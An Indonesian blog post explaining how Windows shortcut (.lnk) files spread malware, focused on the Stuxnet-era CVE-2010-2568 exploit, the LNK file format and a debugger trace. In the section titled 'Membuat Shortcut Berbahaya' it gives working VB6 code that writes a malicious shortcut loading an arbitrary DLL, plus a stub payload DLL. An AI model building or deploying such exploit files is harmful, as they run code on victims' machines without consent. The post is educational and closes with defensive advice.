Pemicu Malware Melalui Penyebaran Shortcut di Beberapa Folder

PropellerAds
Kilas balik pada akhir tahun 2005 di Indonesia, worm Brontok berhasil menduduki singgasana perhelatan malware lokal maupun malware mancanegara. Lima tahun kemudian, dengan teknik penyebaran yang canggih dan varian yang cukup banyak, malware domestik dengan nama VB-Shortcut pun berhasil menunjukkan pamornya di Indonesia.

Dengan menggunakan teknik eksploitasi LNK Exploit, VB-Shortcut dapat menyebar dengan cepat dan mudah. Teknik ekspoitasi ini kali pertama diperkenalkan oleh worm Stuxnet pada pertengahan Juni 2010. Dengan tidak adanya banyak varian dari worm ini, Stuxnet pun terminimalisasi oleh aplikasi antivirus. Berbeda dengan VB-Shortcut, varian terbaru dari worm ini terdapat fitur untuk meng-update dirinya agar lolos dari kejaran antivirus.

LNK Exploit

Teknik LNK Exploit inilah yang menjadi senjata VB-Shortcut dalam melakukan ekspansi ke komputer lain. Implementasi dari teknik ini, yaitu worm membuat shortcut untuk memanggil fi le worm. Hebatnya, shortcut ini dapat aktif meskipun shortcut tidak dijalankan terlebih dahulu oleh pengguna, ataupun shortcut ini tidak perlu tereksekusi otomatis oleh fi tur Autorun Windows. Shortcut ini akan aktif ketika pengguna membuka Windows Explorer ataupun aplikasi sejenis, selama aplikasi tersebut menampilkan icon yang terdapat pada shortcut.

Microsoft mendokumentasikan LNK Exploit pada Microsoft Security Advisory (2286198), dan mengeluarkan patch pada akhir bulan Agustus 2010. Dengan patch ini, file shortcut tidak akan otomatis tereksekusi ketika membuka Windows Explorer. Namun, semenjak banyak pengguna yang tidak melakukan update Windows atau bahkan tidak mematikan fi tur AutoRun, worm ini tetap mampu eksis dan bergentayangan.

Mengenal Shortcut

Shortcut seringkali digunakan sebagai cara cepat untuk memanggil suatu program. Ketika menginstal suatu program, shortcut seringkali juga dibuat oleh installer pada desktop ataupun Start Menu untuk mempermudah pengguna dalam mengakses program. Shortcut juga berperan penting di dalam item pada Control Panel. Shortcut sudah dipakai oleh Microsoft sejak Windows 95, tetapi baru didokumentasi oleh Microsoft pada tahun 2009. Sejak kemunculan worm Stuxnet, dokumentasi ini pun ditarik, dan digantikan dengan versi baru.

Shortcut merupakan objek dimana terdapat informasi yang dapat digunakan untuk mengakses objek lain. Pada shortcut, terdapat beberapa struktur yang dipakai untuk menaruh data, berikut antara lain yang dapat dijumpai pada shortcut:
  • Shortcut key, digunakan untuk memanggil shortcut melalui kombinasi tombol di keyboard.
  • Comment, digunakan untuk member keterangan pada shortcut.
  • Advanced, digunakan untuk menjalankan shortcut dengan hak sebagai administrator.
  • Change icon, digunakan untuk mengganti icon shortcut dengan icon yang lain.

Dengan adanya shortcut, pengguna tidak perlu menuju lokasi program untuk menjalankan program tersebut. Dengan memanggil shortcut di desktop atau Start menu, maka program dapat dipanggil dengan praktis.

Memprogram Shortcut

Shortcut dapat dibuat dengan mengakses IShellLink interface pada COM object, kemudian selanjutnya dengan mengakses IShellLink ataupun IPersistStream.

Berikut method yang terdapat pada IShellLink untuk membuat, mendapatkan, dan memberikan data pada shortcut (Tabel 1).

Selain dengan mengakses COM object melalui IShellLink interface, membuat file shortcut dapat dengan mudah dengan memanfaatkan Shell Object melalui VBScript. Berikut contoh membuat shortcut menggunakan VBScript:

set WshShell = WScript. CreateObject(“WScript.Shell”)
strDesktop = WshShell.SpecialFolders(“ Desktop”)
set oShellLink = WshShell.CreateShort cut(strDesktop & “\Shortcut Script. lnk”)
oShellLink.TargetPath = WScript. ScriptFullName
oShellLink.WindowStyle = 1 oShellLink.Hotkey = “Ctrl+Alt+f”
oShellLink.IconLocation = “notepad. exe, 0”
oShellLink.Description = “Shortcut Script”
oShellLink.WorkingDirectory = strDesktop
oShellLink.Arguments = “C:\myFile.txt”
oShellLink.Save


TABEL 1. METHODS PADA ISHELLLINK
Method Keterangan
GetArgument Mendapatkan parameter untuk Target pada shortcut
GetDescription Mendapatkan deskripsi pada shortcut
GetHotKey Mendapatkan hotkey pada shortcut
GetIconLocation Mendapatkan lokasi icon dan index icon pada shortcut
GetIDList Mendapatkan alamat PIDL pada shortcut
GetPath Mendapatkan alamat Target pada shortcut
GetShowCMD Mendapatkan informasi posisi window saat Target dijalankan
GetWorkingDirectory Mendapatkan alamat direktori shortcut
Resolve Mendapatkan alamat baru dari Target jika alamat Target berubah
SetArguments Mengatur parameter untuk Target pada shortcut
SetDescription Mengatur deskripsi pada shortcut
SetHotKey Mengatur hotkey pada shortcut
SetIconLocation Mengatur lokasi icon dan index icon pada shortcut
SetIDList Mengatur PIDL pada shortcut
SetPath Mengatur alamat Target pada shortcut
SetRelativePath Mengatur alamat Target yang bersifat relative
SetShowCMD Mengatur posisi window pada Target
SetWorkingDirectory Mengatur alamat folder shortcut

Struktur Shortcut
Ketika membuat shortcut melalui sisi programming, shortcut akan terbuat secara otomatis sesuai method yang diterapkan. Namun, pembuatan shortcut juga dapat dibuat secara manual tanpa perlu mengakses COM object. Tentunya, cara manual ini masih dalam ruang lingkup pemrograman.

Berikut struktur-struktur yang terdapat pada file shortcut:
  • SHELL_LINK_HEADER
  • LINKTARGET_IDLIST
  • LINKINFO
  • STRING_DATA
  • EXTRA_DATA

Setiap struktur terdiri dari beberapa bagian lagi, namun bagian STRING_ DATA merupakan struktur yang berisi informasi utama pada shortcut alias informasi yang diatur oleh method melalui IShellLink.

Jika bagian pertama pada fi le executable adalah “4D 5A, pada shortcut dimulai dengan HeaderSize, yaitu “4C 00 00 00”. Di bawah Header_Size terdapat LinkCLSID yang berisi “01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46” Kedua bagian ini merupakan suatu konstanta, selebihnya? Beberapa bagian lainnya ada yang bersifat “polymorphic”.

Eksploitasi Shortcut

Ada berbagai teknik yang dapat dipakai oleh pembuat malware untuk memanfaatkan shortcut dalam menjalankan malware \:

Langsung Memanggil File Malware

Cara ini tergolong mudah untuk menjalankan malware. Shortcut ini biasa dibuat di desktop maupun folder startup untuk memanggil malware. Selain itu, dengan melakukan rekayasa psikologi melalui penamaan fi le yang menarik, shortcut juga dapat ditaruh di network shares maupun fl ash disk.

Parasit

Malware akan menginfeksi atau memodifi kasi program yang akan dipanggil oleh suatu shortcut sehingga program yang akan terpanggil, yaitu fi le malware dan fi le program tersebut. Untuk melakukan ini, malware cukup mengubah target pada shortcut menjadi lokasi malware, diikuti argument berupa lokasi program asli. Terakhir yang dilakukan malware, yaitu mendapatkan argument/ parameter pada dirinya sehingga dapat menjalankan malware.

Berikut contoh kode mendapatkan parameter menggunakan VB6:

Private Sub Form_Load()
If Command$ <> “ “ Then
MsgBox Command$
End If
End Sub

Dengan teknik ini, pengguna dapat mudah terkecoh karena saat membuka shortcut, program yang dijalankannya pun dapat berjalan seperti biasanya.

Script pada Shortcut

Target pada shortcut tidak hanya berisi lokasi fi le, melainkan juga dapat berisi script program. Tidak ada keharusan malware berekstensi .exe ataupun berekstensi .bat. Shortcut pun dapat dijadikan malware dengan memanfaatkan fi le cmd. exe atau wscript.exe. Pada Gambar 4, Anda dapat melihat bagaimana memasukan script bat pada shortcut.

LNK Exploit

Lebih tepatnya, yaitu exploit berdasarkan Microsoft Security Advisory (2286198) CVE-2010-2568. Exploit ini didokumentasi oleh Microsoft pada link http://www.microsoft.com/technet/security/ advisory/2286198.mspx. Secara garis besar, exploit ini memanfaatkan tampilnya icon shortcut pada Windows Explorer. Perintah yang dimanfaatkan oleh pembuat malware pada proses menampilkan icon ini, yaitu LoadLibraryW.

Anda dapat melihat struktur shortcut yang telah dipilah berdasarkan struktur. Bagian LINKTARGET_ IDLIST, terlihat lokasi dari malware, yaitu youifeg.scr. Pada LINKINFO kembali terlihat lokasi malware, dimana lokasi ini akan dipanggil jika lokasi pertama malware tidak ditemukan. Terlihat pada RELATIVE_PATH kembali muncul lokasi malware. Lokasi kali ini dapat diartikan sesuai letaknya, yaitu bertujuan untuk mendapatkan lokasi malware, meskipun shortcut dan malware dipindahkan bersamaan ke lokasi lain.

Untuk membuktikan berhasilnya eksploitasi pada shortcut, diperlukan suatu program debugger seperti DebugView. Langkah yang dilakukan, yaitu:
  • Ubah ekstensi shortcut.
  • Restart komputer atau jalankan copy fi le malware dan shortcut ke VMWare.
  • Buka DebugView.
  • Ubah ekstensi shortcut kembali seperti semula.
  • DebugView akan menampilkan malware yang tereksekusi secara otomatis. Silakan lihat Gambar 6 untuk lebih jelasnya.

Dengan teknik eksploitasi ini, malware dapat aktif tanpa pengguna perlu menjalankan malware dan shortcut, bahkan tanpa perlu bantuan Autorun pada Windows. Dengan perintah Load- LibraryW yang ikut terpanggil saat menampilkan icon pada shortcut pada Windows Explorer maupun program sejenisnya, malware dapat aktif dengan bantuan shortcut.

Cara Kerja Shortcut

Bagaimana bisa icon yang muncul pada shortcut dapat memanggil suatu program? Sebelum Microsoft mengeluarkan patch untuk mengatasi permasalahan ini, solusi sementara yang ditawarkan Microsoft saat itu adalah dengan mengosongkan nilai dari IconHandler yang berlokasi di HKEY_CLASSES_ROOT\ lnkfi le\shellex\. Nilai dari IconHandler yaitu {00021401-0000-0000-C000- 000000000046}. Nilai ini, yaitu sebagai CLSID/COM object untuk shortcut. Perhatikan konfi gurasi shortcut pada registry:

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ CLSID\{00021401-0000-0000-C000- 000000000046}]
@=”Shortcut”
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ CLSID\{00021401-0000-0000-C000- 000000000046}\InProcServer32]
@=”shell32.dll”
“ThreadingModel”=”Apartment”
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ CLSID\{00021401-0000-0000-C000- 000000000046}\ProgID]
@=”lnkfi le”
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ CLSID\{00021401-0000-0000-C000- 000000000046}\shellex]
[HKEY_LOCAL_MACHINE\SOFTWARE\ Classes\CLSID\{00021401-0000- 0000-C000-000000000046}\shellex\ MayChangeDefaultMenu]

Tampak library yang mengurus shortcut adalah shell32.dll. Pada shell32.dll inilah pembuat malware memanfaatkan celah untuk memanggil malware.

Berikut alur tampilnya icon pada shortcut:
  • shell32.dll memanggil CPL_FindCPLInfo untuk menentukan apakah shortcut mempunyai icon atau tidak.
  • Jika ada, fungsi CPL_LoadAndFind- Applet akan dipanggil.
  • LoadAndFindApplet memicu CPL_ LoadCPLModule untuk me-load handle dari malware untuk menampilkan icon.

Untuk membuktikan alur kerja tampilnya icon pada shortcut, Anda dapat melakukan debugging, misalnya menggunakan Windbg. Pasang breakpoint pada LoadLibraryW untuk kernel32.dll. Berikut hasil debug oleh ivanlef0u:
kd> g
Breakpoint 1 hit
eax=00000001 ebx=00f5ee7c ecx=0000c666 edx=00200003 esi=00000001 edi=7c80a6e4
eip=7ca78712 esp=00f5e9c4 ebp=00f5ec18 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl =00000202
SHELL32!_LoadCPLModule+0x10d:
001b:7ca78712 ff15a0159d7c call dword ptr [SHELL32!_imp__LoadLibraryW (7c9d15a0)] ds:0023:7c9d15a0={kernel32 !LoadLibraryW (7c80aeeb)}
kd> dd esp
00f5e9c4 00f5ee7c 000a27bc 00f5ee78 00000000
00f5e9d4 00000020 00000008 00f5ee7c 00000000
00f5e9e4 00000000 0000007b 00000000 00000000
00f5e9f4 00200073 002000e0 0000064c 0000028c
00f5ea04 1530000a 00000000 003a0043 0064005c
00f5ea14 006c006c 0064002e 006c006c 006d002e
00f5ea24 006e0061 00660069 00730065 00000074
00f5ea34 00090608 7c92005d 00000000 00000007
kd> db 00f5ee7c
00f5ee7c 43 00 3a 00 5c 00 64 00-6c 00 6c 00 2e 00 64 00 C.:.\.d.l.l...d.
00f5ee8c 6c 00 6c 00 00 00 92 7c-c8 f2 f5 00 00 17 72 02 l.l....|......r.

Membuat Shortcut Berbahaya

Sebelum membuat shortcut yang dapat memicu malware, mempelajari referensi detail mengenai struktur shortcut adalah suatu keharusan. Dokumentasi shortcut dapat diperoleh dari [MS-SHLLINK]: Shell Link (.LNK) Binary File Format (link terdapat pada akhir tulisan).

Berikut contoh membuat shortcut berbahaya menggunakan VB6:
Public Function UnHex(sHex As String) As Long
UnHex = Val(“&H” & sHex)
End Function
Private Sub Form_Load()
Dim hexShellCode As String
Dim ShellCode_() As String
Dim decShellCode As String
Dim pos As Long
hexShellCode = “4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 01 14 00 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D 14 00 2E 1E 20 20 EC 21 EA 3A 69 10 A2 DD 08 00 2B 30 30 9D 0C 01 00 00 00 00 00 00 00 00 00 00 00 6A 00 00 00 00 00 00 20 00 3A 00 44 00 3A 00 5C 00 62 00 61 00 64 00 75 00 72 00 6C 00 2E 00 64 00 6C 00 6C”
ShellCode_ = Split(hexShellCode, “ “)
For i = 0 To (UBound(ShellCode_()))
decShellCode = decShellCode + Str$(UnHex(ShellCode_(i))) + “,”
Next i
decShellCode = Left(decShellCode, Len(decShellCode) - 1)
ff = FreeFile
ShellCode_ = Split(decShellCode, “,”)
Open “D:\badlnk.lnk” For Binary Access Write As ff
For i = 0 To (UBound(ShellCode_()))
pos = pos + 1
Put ff, pos, CInt(ShellCode_(i))
Next i
Close ff
End Sub

Hasil kode di atas akan membuat fi le dengan nama badlnk.lnk. Hapus byte terakhir menggunakan hex editor untuk membuat shortcut tersebut berjalan.

Shortcut ini akan memanggil fi le DLL bernama badurl.dll di drive D. Edit badlnk menggunakan hex editor untuk mengubah lokasi fi le DLL yang ingin dipanggil. DLL sendiri merupakan file DLL biasa yang juga dapat dibuat menggunakan bahasa pemrograman, seperti Delphi:
library badurl;
uses
windows;
begin
OutputDebugString(pchar(‘LAZY MALWARE WANNA a.k.a THE FAME MONSTER! ‘))
end.

Simpulan

Shortcut merupakan salah satu cara yang digunakan untuk membantu penyebaran malware. Tidak membuka shortcut yang terdapat pada removable disk merupakan tindakan preventif yang baik agar terhindar dari shortcut yang menjalankan malware.

Selalu update Windows merupakan pilihan mutlak bagi Anda yang menjunjung tinggi nilai keamanan dalam berkomputer.

Demikian pembahasan singkat tentang Pemicu Malware Melalui Penyebaran Shortcut di Beberapa Folder. Mudah-mudahan akan memberikan manfaat bagi kita semua, jangan lupa masukan berupa saran, kritik atau sekedar komen selalu saya tunggu dan tak lupa selalu saya ucapkan terima kasih karena telah berkunjung di blog sederhana ini.

Share this with short URL:

You Might Also Like:

Use parse tool to easy get the text style on disqus comments:
Show Parser Hide Parser